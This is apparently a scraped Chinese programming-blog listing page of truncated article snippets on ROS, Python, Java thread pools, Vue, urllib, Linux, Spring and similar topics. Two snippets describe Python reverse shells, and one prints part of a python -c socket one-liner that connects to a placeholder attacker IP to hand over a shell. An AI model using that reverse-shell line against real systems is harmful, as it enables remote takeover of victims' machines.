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- 研究生养成计划5月1日
学习:《机器人操作系统》作者:刘相权,张万杰第一章,第二章笔记ROS虽然被称为操作系统,但是真正底层的任务调度,编译,寻址等任务还是由Linux操作系统完成——ROS是一个运行在Linux上的次级操作系统。双系统建议空间在100G以上,分区如下:如果有条件/:这个分区可以设置的大一些截图:shift+prtsc+Fn截取某个区域的图片内容/微信截图Alt+a命令行使用(1)调出终端程序,命令行上下
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- Python 的内置函数 open
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Python内建函数列表>Python的内置函数openPython的内置函数open()是用于打开文件的重要函数,它提供了与文件系统交互的基本接口。该函数返回一个文件对象(fileobject),可用于读取、写入或追加文件内容。函数签名open(file,mode='r',buffering=-1,encoding=None,errors=None,newline=None,closefd=Tr
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Java线程池任务提交与线程数量变化规则详解一、线程池核心参数回顾在深入探讨线程数量变化规则前,我们先回顾线程池的四个核心参数:ThreadPoolExecutorexecutor=newThreadPoolExecutor(corePoolSize,//核心线程数maximumPoolSize,//最大线程数keepAliveTime,//空闲线程存活时间unit,//时间单位workQueue
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Java线程池任务停止机制全面指南:优雅终止与强制中断一、线程池任务停止概述在Java并发编程中,线程池任务的停止是一个需要谨慎处理的问题。不当的任务停止方式可能导致数据不一致、资源泄漏等问题。本文将深入探讨Java线程池中各种任务停止的方法和最佳实践。1.1为什么需要关注任务停止资源管理:避免线程和资源泄漏系统稳定性:防止任务意外中断导致系统状态异常响应性:快速响应系统关闭或配置变更需求数据一致
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一、基础概念题1、Vue响应式原理是什么?如何检测数组变化?Vue的响应式原理主要是通过使用JavaScript的对象属性访问器(getters和setters)、依赖收集(dependencytracking)以及异步更新策略来实现的。以下是其核心概念:数据劫持/代理:Vue2.x使用Object.defineProperty方法将数据对象的所有属性转换为getter/setter形式。当属性被
- paddlepaddle测试安装_python3.7中安装paddleocr及paddlepaddle包的多种方法
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升级pippip版本必须升级到20.0.4版本才能应用;方法一、在pycharm中对pip进行升级;方法二、通过命令进行升级python3.7-mpipinstall--upgradepip下载paddleOCR下载链接:https://github.com/PaddlePaddle/PaddleOCR打开paddleOCR文件夹中requirements.txt文件,更改文件中opencv-py
- 研究生第一次参加国际学术会议,啥也不懂怎么办?
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第一次参加的同学也不需要太紧张,国际学术会议基本流程是三天,第一天签到,签到时间一般是从早到晚,所以不用担心自己去晚了会不会耽误赶不上。然后第二天早上8/9点开始,首先是主持人开场,有的就是会议大会主席充当主持人的角色,早上一般就是KeynoteSpeakers的报告,俗称大佬演讲,可以做做笔记啥的,中间会有一次茶歇,一般3-4个演讲之后就到中午那会了,就可以炫饭啦,一般是自助餐,可以吃饭期间认识
- 智能招聘新生态:牛客AI面试如何重塑企业人才战略
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在数字化浪潮席卷全球的今天,企业招聘正经历着前所未有的变革。某生活服务电商巨头通过深度应用牛客AI面试,实现了从传统招聘到智能化筛选的跨越式升级。这场以技术驱动的效率革命,不仅解决了多元化业务下的招聘难题,更重新定义了人才评估的标准与流程。一、破解多元业务招聘难题:牛客AI面试的精准赋能作为业务覆盖即时配送、餐饮服务、技术研发及海外市场拓展的综合性企业,该巨头面临着从基层岗位到高端技术人才的全链条
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#Django_start第一个django起步小项目,新建django项目,配置mysql,sql语句操作,MVT基本操作。###1.起步```pip3--default-timeout=1000000installdjango```cd到项目目录,创建项目```django-adminstartproject项目名称```如果找不到django路径,尝试```python3/Users/zha
- 利用ShadowRoot 实现样式隔离
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ShadowRootShadowDOMAPI的ShadowRoot接口是一个DOM子树的根节点,它与文档的主DOM树分开渲染。ShadowRoot的模式——可以是open或者closed。这定义了shadowroot的内部实现是否可被JavaScript访问及修改—也就是说ShadowRoot的特性图片来源:掘金(https://juejin.cn/post/6979489951108825095
- 爬虫基础-urllib库的使用
a little peanut
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注:本文章为学习过程中对知识点的记录,供自己复习使用,也给大家做个参考,如有错误,麻烦指出,大家共同探讨,互相进步。借鉴出处:该文章的路线和主要内容:崔庆才(第2版)python3网络爬虫开发实战bytes类型:https://blog.csdn.net/apple_50618492/article/details/114677967python中文官网:https://docs.python.o
- Python3爬虫笔记 -- urllib
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urllib库是Python内置的HTTP请求库,不需要额外安装。它包含如下4个模块:request:HTTP请求模块error:异常处理模块parse:提供URL处理方法,包括拆分、解析、合并等robotparser:识别网站等robot.txt文件1、urllib.request发送请求连接URL,获取返回页面的源代码;默认请求方式为GETimporturllib.requestrespons
- JVM核心技术解析
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我是廖志伟,一名Java开发工程师、《Java项目实战——深入理解大型互联网企业通用技术》(基础篇)、(进阶篇)、(架构篇)清华大学出版社签约作家、Java领域优质创作者、CSDN博客专家、阿里云专家博主、51CTO专家博主、产品软文专业写手、技术文章评审老师、技术类问卷调查设计师、幕后大佬社区创始人、开源项目贡献者。拥有多年一线研发和团队管理经验,研究过主流框架的底层源码(Spring、Spri
- 使用API有效率地管理Dynadot域名,查看一口价域名的详细信息
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1·urllib库简介·用途:urllib库是python的标准库之一,是python内置的HTTP请求库,用于发送HTTP/FTP请求,它可以看作处理URL的组件集合。·特点:简单易用,支持HTTP、HTTPS、FTP等协议。2.urllib库包含4大模块:目录:(1)urllib.request(2)urllib.parse(3)urllib.error(4)urllib.robotparse
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- python反弹shell
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你是想问Python如何实现反弹shell吗?反弹shell是一种通过远程连接获取受害者计算机的shell权限的攻击技术。使用Python反弹shell的方法如下:首先,在本地计算机上运行一个监听程序,等待连接。然后,在受害者计算机上运行一个Python脚本,该脚本将连接到本地计算机的监听程序。当连接建立后,就可以通过本地计算机上的shell命令控制受害者计算机。具体的代码实现可以参考如下:本地计
- [Python] -基础篇6-Python中的字符串处理技巧合集
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Python中的字符串类型是非常常用的基础类型。不管是处理文本、数据分析,还是系统管理等场景,都不能离开字符串的操作。本文将分类整理Python字符串的常用技巧和方法,帮助你接地气地接触字符串处理的本质。1.基础操作1.1字符串切片s="Hello,Python!"print(s[0:5])#Helloprint(s[-7:])#Python!1.2字符串连接和处理name="Alice"gree
- linux部署jar项目报错_linux服务器部署jar包以及shell脚本的书写
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linux部署jar项目报错
背景:记录在linux环境下部署jar程序的过程1部署过程记录1.1程序结构这里的main函数就在DemRest2.java文件中。为了部署方便,要做到以下两点:1在导出的jar包中不包含依赖的jar文件2程序用到的配置文件可以让用户进行自定义,不将其放在jar包中。1.2导出jar包这里导出普通的jar包即可。为了方便传输,只导出必须的程序文件。在jar包导出后,进入导出的jar包中,将配置文件
- [Python] -基础篇5-玩转Python内置数据结构:列表、元组、字典与集合
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Python是一门以简洁优雅著称的编程语言,其中内置的数据结构为日常编程提供了强大支持。本文将系统介绍Python中四大核心数据结构:列表(list)、元组(tuple)、字典(dict)与集合(set),并配以实用示例,帮助读者全面掌握其用法及适用场景。一、列表(List):可变序列的代表列表是最常用的Python数据结构之一,支持动态增删改查。1.1基本操作fruits=['apple','b
- linux替换war包中的文件,Linux zip与unzip命令:替换war包中的某个文件
祝峰
linux替换war包中的文件
原本,想用jar命令来快速替换war包的文件的,可是,发现Ubuntu中没有装Java,懒癌发做,遂使用zip与unzip命令代替。appzip:压缩命令ide格式:zip[-选项]*.war要压缩的文件例子:zip-mapp.war/WEB-INF/classes/com/app/business/service/platform/impl/abc.classspa选项:orm-m:不检查而替换
- 如何利用股票API获取实时行情数据?有哪些好用的股票API推荐?
财云量化
python炒股自动化量化交易程序化交易股票api实时行情数据获取方法api推荐股票量化接口股票API接口
炒股自动化:申请官方API接口,散户也可以python炒股自动化(0),申请券商API接口python炒股自动化(1),量化交易接口区别Python炒股自动化(2):获取股票实时数据和历史数据Python炒股自动化(3):分析取回的实时数据和历史数据Python炒股自动化(4):通过接口向交易所发送订单Python炒股自动化(5):通过接口查询订单,查询账户资产股票量化,Python炒股,CSDN
- 使用 Python 实现反弹 shell
suanfa_student
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使用Python实现反弹shell如果目标系统有Python环境,可以使用以下Python命令反弹shell:python-c'importsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("你的IP地址",端口号));os.dup2(s.fileno(),0);os.dup2(s.
- 外观模式 - Flutter中的一键操作大师,复杂功能的极简入口!
明似水
flutter外观模式flutterjavascript
痛点场景:多步骤的用户注册流程假设你的应用需要处理以下注册步骤:验证邮箱格式检查密码强度调用注册API保存用户Token初始化用户配置同步基础数据发送欢迎邮件传统实现方式:FutureregisterUser(Stringemail,Stringpassword)async{//1.验证邮箱if(!EmailValidator.validate(email)){throwInvalidEmailE
- 详细介绍python中的模块、包、库之间的区别和联系
Melody.
python开发语言
在Python中,模块(Module)、包(Package)和库(Library)是三个重要的概念,它们用于组织代码和实现代码复用。下面详细解释这三个概念:1.模块(Module)定义:一个模块就是一个以.py为后缀的Python文件。这个文件可以包含函数、类、变量以及可执行的代码。作用:模块用于将相关的代码组织在一个文件中,便于管理和重用。使用:通过import语句导入模块,然后使用模块名加点操
- [星球大战]阿纳金的背叛
comsci
本来杰迪圣殿的长老是不同意让阿纳金接受训练的.........
但是由于政治原因,长老会妥协了...这给邪恶的力量带来了机会
所以......现代的地球联邦接受了这个教训...绝对不让某些年轻人进入学院
- 看懂它,你就可以任性的玩耍了!
aijuans
JavaScript
javascript作为前端开发的标配技能,如果不掌握好它的三大特点:1.原型 2.作用域 3. 闭包 ,又怎么可以说你学好了这门语言呢?如果标配的技能都没有撑握好,怎么可以任性的玩耍呢?怎么验证自己学好了以上三个基本点呢,我找到一段不错的代码,稍加改动,如果能够读懂它,那么你就可以任性了。
function jClass(b
- Java常用工具包 Jodd
Kai_Ge
javajodd
Jodd 是一个开源的 Java 工具集, 包含一些实用的工具类和小型框架。简单,却很强大! 写道 Jodd = Tools + IoC + MVC + DB + AOP + TX + JSON + HTML < 1.5 Mb
Jodd 被分成众多模块,按需选择,其中
工具类模块有:
jodd-core &nb
- SpringMvc下载
120153216
springMVC
@RequestMapping(value = WebUrlConstant.DOWNLOAD)
public void download(HttpServletRequest request,HttpServletResponse response,String fileName) {
OutputStream os = null;
InputStream is = null;
- Python 标准异常总结
2002wmj
python
Python标准异常总结
AssertionError 断言语句(assert)失败 AttributeError 尝试访问未知的对象属性 EOFError 用户输入文件末尾标志EOF(Ctrl+d) FloatingPointError 浮点计算错误 GeneratorExit generator.close()方法被调用的时候 ImportError 导入模块失
- SQL函数返回临时表结构的数据用于查询
357029540
SQL Server
这两天在做一个查询的SQL,这个SQL的一个条件是通过游标实现另外两张表查询出一个多条数据,这些数据都是INT类型,然后用IN条件进行查询,并且查询这两张表需要通过外部传入参数才能查询出所需数据,于是想到了用SQL函数返回值,并且也这样做了,由于是返回多条数据,所以把查询出来的INT类型值都拼接为了字符串,这时就遇到问题了,在查询SQL中因为条件是INT值,SQL函数的CAST和CONVERST都
- java 时间格式化 | 比较大小| 时区 个人笔记
7454103
javaeclipsetomcatcMyEclipse
个人总结! 不当之处多多包含!
引用 1.0 如何设置 tomcat 的时区:
位置:(catalina.bat---JAVA_OPTS 下面加上)
set JAVA_OPT
- 时间获取Clander的用法
adminjun
Clander时间
/**
* 得到几天前的时间
* @param d
* @param day
* @return
*/
public static Date getDateBefore(Date d,int day){
Calend
- JVM初探与设置
aijuans
java
JVM是Java Virtual Machine(Java虚拟机)的缩写,JVM是一种用于计算设备的规范,它是一个虚构出来的计算机,是通过在实际的计算机上仿真模拟各种计算机功能来实现的。Java虚拟机包括一套字节码指令集、一组寄存器、一个栈、一个垃圾回收堆和一个存储方法域。 JVM屏蔽了与具体操作系统平台相关的信息,使Java程序只需生成在Java虚拟机上运行的目标代码(字节码),就可以在多种平台
- SQL中ON和WHERE的区别
avords
SQL中ON和WHERE的区别
数据库在通过连接两张或多张表来返回记录时,都会生成一张中间的临时表,然后再将这张临时表返回给用户。 www.2cto.com 在使用left jion时,on和where条件的区别如下: 1、 on条件是在生成临时表时使用的条件,它不管on中的条件是否为真,都会返回左边表中的记录。
- 说说自信
houxinyou
工作生活
自信的来源分为两种,一种是源于实力,一种源于头脑.实力是一个综合的评定,有自身的能力,能利用的资源等.比如我想去月亮上,要身体素质过硬,还要有飞船等等一系列的东西.这些都属于实力的一部分.而头脑不同,只要你头脑够简单就可以了!同样要上月亮上,你想,我一跳,1米,我多跳几下,跳个几年,应该就到了!什么?你说我会往下掉?你笨呀你!找个东西踩一下不就行了吗?
无论工作还
- WEBLOGIC事务超时设置
bijian1013
weblogicjta事务超时
系统中统计数据,由于调用统计过程,执行时间超过了weblogic设置的时间,提示如下错误:
统计数据出错!
原因:The transaction is no longer active - status: 'Rolling Back. [Reason=weblogic.transaction.internal
- 两年已过去,再看该如何快速融入新团队
bingyingao
java互联网融入架构新团队
偶得的空闲,翻到了两年前的帖子
该如何快速融入一个新团队,有所感触,就记下来,为下一个两年后的今天做参考。
时隔两年半之后的今天,再来看当初的这个博客,别有一番滋味。而我已经于今年三月份离开了当初所在的团队,加入另外的一个项目组,2011年的这篇博客之后的时光,我很好的融入了那个团队,而直到现在和同事们关系都特别好。大家在短短一年半的时间离一起经历了一
- 【Spark七十七】Spark分析Nginx和Apache的access.log
bit1129
apache
Spark分析Nginx和Apache的access.log,第一个问题是要对Nginx和Apache的access.log文件进行按行解析,按行解析就的方法是正则表达式:
Nginx的access.log解析正则表达式
val PATTERN = """([^ ]*) ([^ ]*) ([^ ]*) (\\[.*\\]) (\&q
- Erlang patch
bookjovi
erlang
Totally five patchs committed to erlang otp, just small patchs.
IMO, erlang really is a interesting programming language, I really like its concurrency feature.
but the functional programming style
- log4j日志路径中加入日期
bro_feng
javalog4j
要用log4j使用记录日志,日志路径有每日的日期,文件大小5M新增文件。
实现方式
log4j:
<appender name="serviceLog"
class="org.apache.log4j.RollingFileAppender">
<param name="Encoding" v
- 读《研磨设计模式》-代码笔记-桥接模式
bylijinnan
java设计模式
声明: 本文只为方便我个人查阅和理解,详细的分析以及源代码请移步 原作者的博客http://chjavach.iteye.com/
/**
* 个人觉得关于桥接模式的例子,蜡笔和毛笔这个例子是最贴切的:http://www.cnblogs.com/zhenyulu/articles/67016.html
* 笔和颜色是可分离的,蜡笔把两者耦合在一起了:一支蜡笔只有一种
- windows7下SVN和Eclipse插件安装
chenyu19891124
eclipse插件
今天花了一天时间弄SVN和Eclipse插件的安装,今天弄好了。svn插件和Eclipse整合有两种方式,一种是直接下载插件包,二种是通过Eclipse在线更新。由于之前Eclipse版本和svn插件版本有差别,始终是没装上。最后在网上找到了适合的版本。所用的环境系统:windows7JDK:1.7svn插件包版本:1.8.16Eclipse:3.7.2工具下载地址:Eclipse下在地址:htt
- [转帖]工作流引擎设计思路
comsci
设计模式工作应用服务器workflow企业应用
作为国内的同行,我非常希望在流程设计方面和大家交流,刚发现篇好文(那么好的文章,现在才发现,可惜),关于流程设计的一些原理,个人觉得本文站得高,看得远,比俺的文章有深度,转载如下
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自开博以来不断有朋友来探讨工作流引擎该如何
- Linux 查看内存,CPU及硬盘大小的方法
daizj
linuxcpu内存硬盘大小
一、查看CPU信息的命令
[root@R4 ~]# cat /proc/cpuinfo |grep "model name" && cat /proc/cpuinfo |grep "physical id"
model name : Intel(R) Xeon(R) CPU X5450 @ 3.00GHz
model name :
- linux 踢出在线用户
dongwei_6688
linux
两个步骤:
1.用w命令找到要踢出的用户,比如下面:
[root@localhost ~]# w
18:16:55 up 39 days, 8:27, 3 users, load average: 0.03, 0.03, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
- 放手吧,就像不曾拥有过一样
dcj3sjt126com
内容提要:
静悠悠编著的《放手吧就像不曾拥有过一样》集结“全球华语世界最舒缓心灵”的精华故事,触碰生命最深层次的感动,献给全世界亿万读者。《放手吧就像不曾拥有过一样》的作者衷心地祝愿每一位读者都给自己一个重新出发的理由,将那些令你痛苦的、扛起的、背负的,一并都放下吧!把憔悴的面容换做一种清淡的微笑,把沉重的步伐调节成春天五线谱上的音符,让自己踏着轻快的节奏,在人生的海面上悠然漂荡,享受宁静与
- php二进制安全的含义
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PHP
PHP里,有string的概念。
string里,每个字符的大小为byte(与PHP相比,Java的每个字符为Character,是UTF8字符,C语言的每个字符可以在编译时选择)。
byte里,有ASCII代码的字符,例如ABC,123,abc,也有一些特殊字符,例如回车,退格之类的。
特殊字符很多是不能显示的。或者说,他们的显示方式没有标准,例如编码65到哪儿都是字母A,编码97到哪儿都是字符
- Linux下禁用T440s,X240的一体化触摸板(touchpad)
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自打1月买了Thinkpad T440s就一直很火大,其中最让人恼火的莫过于触摸板。
Thinkpad的经典就包括用了小红点(TrackPoint)。但是小红点只能定位,还是需要鼠标的左右键的。但是自打T440s等开始启用了一体化触摸板,不再有实体的按键了。问题是要是好用也行。
实际使用中,触摸板一堆问题,比如定位有抖动,以及按键时会有飘逸。这就导致了单击经常就
- graph_dfs
hcx2013
Graph
package edu.xidian.graph;
class MyStack {
private final int SIZE = 20;
private int[] st;
private int top;
public MyStack() {
st = new int[SIZE];
top = -1;
}
public void push(i
- Spring4.1新特性——Spring核心部分及其他
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Spring4.1新特性——综述
Spring4.1新特性——Spring核心部分及其他
Spring4.1新特性——Spring缓存框架增强
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Spring4.1新特性——数据库集成测试脚本初始化
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Spring4.1新特性——页面自动化测试框架Spring MVC T
- 配置HiveServer2的安全策略之自定义用户名密码验证
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具体从网上看
http://doc.mapr.com/display/MapR/Using+HiveServer2#UsingHiveServer2-ConfiguringCustomAuthentication
LDAP Authentication using OpenLDAP
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- 一位30多的程序员生涯经验总结
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1.客户在接触到产品之后,才会真正明白自己的需求。
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安全防御现如今是全世界都在关注的大课题、大挑战。我们必须时时刻刻积极完善它,因为黑客只要有一次成功,就可以彻底打败你。 3.
- 分布式web服务架构的演变
自由的奴隶
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最开始,由于某些想法,于是在互联网上搭建了一个网站,这个时候甚至有可能主机都是租借的,但由于这篇文章我们只关注架构的演变历程,因此就假设这个时候已经是托管了一台主机,并且有一定的带宽了,这个时候由于网站具备了一定的特色,吸引了部分人访问,逐渐你发现系统的压力越来越高,响应速度越来越慢,而这个时候比较明显的是数据库和应用互相影响,应用出问题了,数据库也很容易出现问题,而数据库出问题的时候,应用也容易
- 初探Druid连接池之二——慢SQL日志记录
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日志连接池druid慢SQL
由于工作原因,这里先不说连接数据库部分的配置,后面会补上,直接进入慢SQL日志记录。
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<bean abstract="true" id="mysql_database" class="com.alibaba.druid.pool.DruidDataSourc